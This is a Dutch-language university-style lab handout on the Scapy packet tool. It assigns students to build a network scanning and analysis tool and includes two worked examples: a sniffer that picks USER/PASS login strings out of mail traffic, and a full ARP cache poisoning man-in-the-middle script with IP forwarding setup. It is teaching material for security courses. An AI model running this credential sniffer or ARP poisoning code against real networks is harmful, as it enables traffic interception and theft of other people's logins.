Labo: werken met Scapy

De opzet: Scapy?

Scapy is een krachtige Python-toepassing die de gebruiker in staat stelt om (interactief) netwerkpakketten te maken/vervalsen, te sturen, te sniffen en te analyseren. Deze mogelijkheden laten het maken van tooltjes toe die het netwerk kunnen bevragen, scannen en aanvallen.

- Geschreven door Philippe Biondi in Python.
- Met Scapy kan je pakketjes afluisteren en manipuleren teneinde beveiliging van een computer of netwerk te controleren.
- Scapy sluit goed aan bij gelaagde modellen zoals die van het TCP/IP model en het OSI-model.
- Een kenmerk van Scapy is dat het ontvangen pakketten volledig opslaat, zonder hier een selectie uit te maken of een interpretatie ervan te geven.
- Scapy presenteert de ruwe data van waaruit de gebruiker zelf zijn eigen conclusies kan trekken.
- Dankzij de flexibiliteit en kracht die Scapy de gebruiker biedt in het manipuleren van netwerkverkeer, kan de functionaliteit van zeer veel andere programma's die in de informatiebeveiliging worden gebruikt, zoals hping, arpspoof, arping en p0f er volledig door verzorgd worden.
- Met Scapy kan de eindgebruiker compleet nieuw gereedschap maken, dat nog niet bestond en dat geschikt is voor bijvoorbeeld een type aanval dat hij zelf uitgevonden heeft.
- Een Python interpreter is geïntegreerd met Scapy. Hierdoor kan men interactief Python gebruiken of externe Python-scripts vanuit dit programma aanroepen.

Je vind Scapy hier: https://scapy.net/

De opdracht(en)

PRE-OPDRACHT: - neem de introductie door https://scapy.readthedocs.io/en/latest/introduction.html - Bekijk hoe je Scapy interactief kunt gebruiken - Bekijk hoe je Scapy kunt extenden in je eigen tools: https://scapy.readthedocs.io/en/latest/extending.html - Je bekijkt de beschikbare voorbeelden en vormt je een beeld rond hoe je Scapy zou kunnen verwerken in je eigen tools

Je bouwt met behulp van Scapy (uiteraard ;-)) een tool die in staat is tot: - HOST DISCOVERY: gegeven een bepaalde IP-range het netwerk te doorzoeken naar beschikbare hosts (bvb via ARP) - SERVICE DISCOVERY: gegeven het IP-adres van één of meerdere hosts (bvb als resultaat van de hierboven beschreven sweep) voer je een poort scan uit (voor alle poorten onder 1024)
- REMOTE OS DETECTIE: je voert een actieve fingerprinting uit op één of meerdere hosts (bvb als resultaat van de hierboven beschreven sweep) en detecteert op basis hiervan het OS van de host - PCAP ANALYSE: je analyseert één of meerdere hosts op de aanwezigheid van HTTP-verkeer (één of meerdere andere soorten verkeer mogen uiteraard ook: SMTP, POP3, IMAP)
- Je tool werkt interactief in de terminal en via command-line argumenten (argparse) - Loggen van de bevindingen naar een tekstbestand (html, csv of pdf mogen ook) - Test enkel in een veilige gecontroleerde setting! Bvb je thuisnetwerk.

OF ... je bouwt een alternatieve tool met gebruik van Scapy (na goedkeuring van je docent uiteraard ;-))

Enkele voorbeelden

Data sniffen op je eigen machine

Om je op weg te zetten toon ik hier een bare-bones sniffer die niets meer doet dan pakketten dissecteren en dumpen. We doen dit met de sniff functie.

```
sniff(filter="",iface="any",prn=function,count=N)
```

- Filter: laat toe een Berkeley Packet Filter (BPF) mee te geven (wireshark-stijl zo je wil). Blanco: alle pakketten sniffen. Bvb "tcp port 80" voor HTTP pakketten. https://biot.com/capstats/bpf.html
- Iface: welke network interface gebruiken om te sniffen. Blanco: alle interfaces.
- Prn: callback functie voor elk pakket dat binnenkomt => een pakket object
- Count: hoeveel pakketten je wil sniffen. Blanco = continu sniffen

```
from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(prn=packet_callback, count=1)

if __name__ == '__main__':
    main()
```

Bovenstaande code snift 1 pakket op alle interfaces zonder filter. Tip: uitvoeren als admin (met sudo)

In het volgende voorbeeld voegen we een filter toe alsook enige logica aan de callback functie. In dit voorbeeld filteren we email-gerelateerde authenticatie strings uit onze scan.

```
from scapy.all import sniff, TCP, IP

def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].payload)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
            prn=packet_callback, store=0)

if __name__ == '__main__':
    main()
```

We hebben hier de sniff-functie aangepast met een BPF-filter die enkel interesse toont in de meest frequente mail poorten: 110 (POP3), 143 (IMAP), en 25 (SMTP)

Daarnaast ook een nieuwe parameter store met waarde 0: Scapy slaat hierdoor geen pakketten op in het geheugen. Gebruik deze parameter wanneer je langdurig wil sniffen (geheugenbeheer-efficiënter)

In de callback-functie checken we per pakket als er een data payload aanwezig is en als deze payload "USER" of "PASS" bevat. Als we een authenticatiestring vinden dan drukken we de server en de payload af.

Je zou de BPF eenvoudigweg kunnen aanpassen naar "tcp port 21" om FTP data in de gaten te kunnen houden.

ARP Cache Poisoning: data sniffen op een andere host

ARP poisoning: we overtuigen een host dat we zijn gateway geworden zijn. Daarnaast overtuigen we de echte gateway dat traffiek die de host hoort te bereiken via onze machine moet gaan. Ter info: ARP = address resolution protocol.

Elke host houdt een ARP-cache bij met de meest recente mac-adressen die bij de IP-adressen op het lokale netwerk horen. Het is die ARP-cache die we willen aanpassen om te slagen in onze opzet.

Bruikbare commando's om mac/ip te weten te komen van aanvaller/slachtoffer:

```
ifconfig
arp -a
```

Skeletstructuur van ons script:

```
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
                       send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time


def get_mac(targetip):
    pass

class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        pass

    def run(self):
        pass

    def poison(self):
        pass

    def sniff(self, count=200):
        pass

    def restore(self):
        pass

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()
```

We definiëren een functie om het mac-adres van een machine op te vragen. Dit op basis van een ip-adres. We zetten ook een Arper klasse op om te poisonen, sniffen en de netwerk settings te restoren

De get_mac-functie:

```
def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
```

We geven het ip-adres van het target mee en maken een pakket aan. De Ether functie specifiëert dat dit pakket moet gebroadcast worden en de ARP-functie specifiëert de request voor het mac-adres en vraagt aan elke nodige als het het

betreffende ip-adres heeft. We versturen het pakket met de Scapy-functie srp, die pakketten verstuurt en ontvangt op de netwerk-laag 2. We geven het mac-adres terug, indien gevonden.

De initialisatie-method van de Arper-klasse:

```
class Arper():
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
        print(f'Victim ({victim}) is at {self.victimmac}.')
        print('-'*30)
```

We initialiseren met de IP-adressen van host en gateway. Met deze info vullen we de objectvariabelen. Tot slot drukken we de waarden af in de console.

Vervolgens de run-method in de Arper-klasse:

```
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()
```

Deze method doet het werk in dit object. Opzetten en uitvoeren van 2 processen. Eentje om de ARP-cache te 'vergiftigen' en een tweede om de data te sniffen.

De poison-method maakt de 'vergiftigde' pakketjes aan en zendt ze naar de host en de gateway:

```
    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('-'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self.victim
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('-'*30)
        print(f'Beginning the ARP poison. [CTRL-C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)
```

Hier gebeurt het opzetten van de data die we zullen gebruiken om de ARP-cache van host en de gateway te 'vergiftigen'. - Eerst: aanmaak van ARP-pakket voor de host en vervolgens eentje voor de gateway. - We 'vergiftigen' de gateway door het sturen van het IP-adres van de host maar het mac-adres van de aanvaller. - We 'vergiftigen' de host door het sturen van het IP-adres van de gateway maar het mac-adres van de aanvaller. - We drukken alle info af in de console. - We sturen de pakketten naar de betreffende machines in een infinite loop om de bestemmingen te 'vergiftigen' gedurende de volledige test (doorlopend tot je CTRL-C ingeeft). Dan 'restoren' we.

Vervolgens de sniff-method:

```
    def sniff(self, count=100):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished.')
```

Deze method wacht 5sec alvorens te beginnen sniffen. Snifft standaard voor 100 pakketten, filtert op pakketten met het IP-adres van de host. We schrijven de pakketten weg naar het bestand arper.pcap, restoren de ARP-tabellen en sluiten de poison-thread af.

En tot slot de restore-method die de correcte ARP-gegevens terugzet:

```
    def restore(self):
        send(ARP(
                op=2,
                psrc=self.gateway,
                hwsrc=self.gatewaymac,
                pdst=self.victim,
                hwdst='ff:ff:ff:ff:ff:ff'),
             count=5)
        send(ARP(
                op=2,
                psrc=self.victim,
                hwsrc=self.victimmac,
                pdst=self.gateway,
                hwdst='ff:ff:ff:ff:ff:ff'),
             count=5)
```

IP-forwarding: doe je de test vanop je Kali-machine? We moeten aangeven dat we de packets kunnen forwarden naar zowel gateway als target IP-adres:

```
#:> echo 1 > /proc/sys/net/ipv4/ip_forward
```

Je runt het script bvb als volgt:

```
python arper.py 192.168.1.193 192.168.1.254 en0
```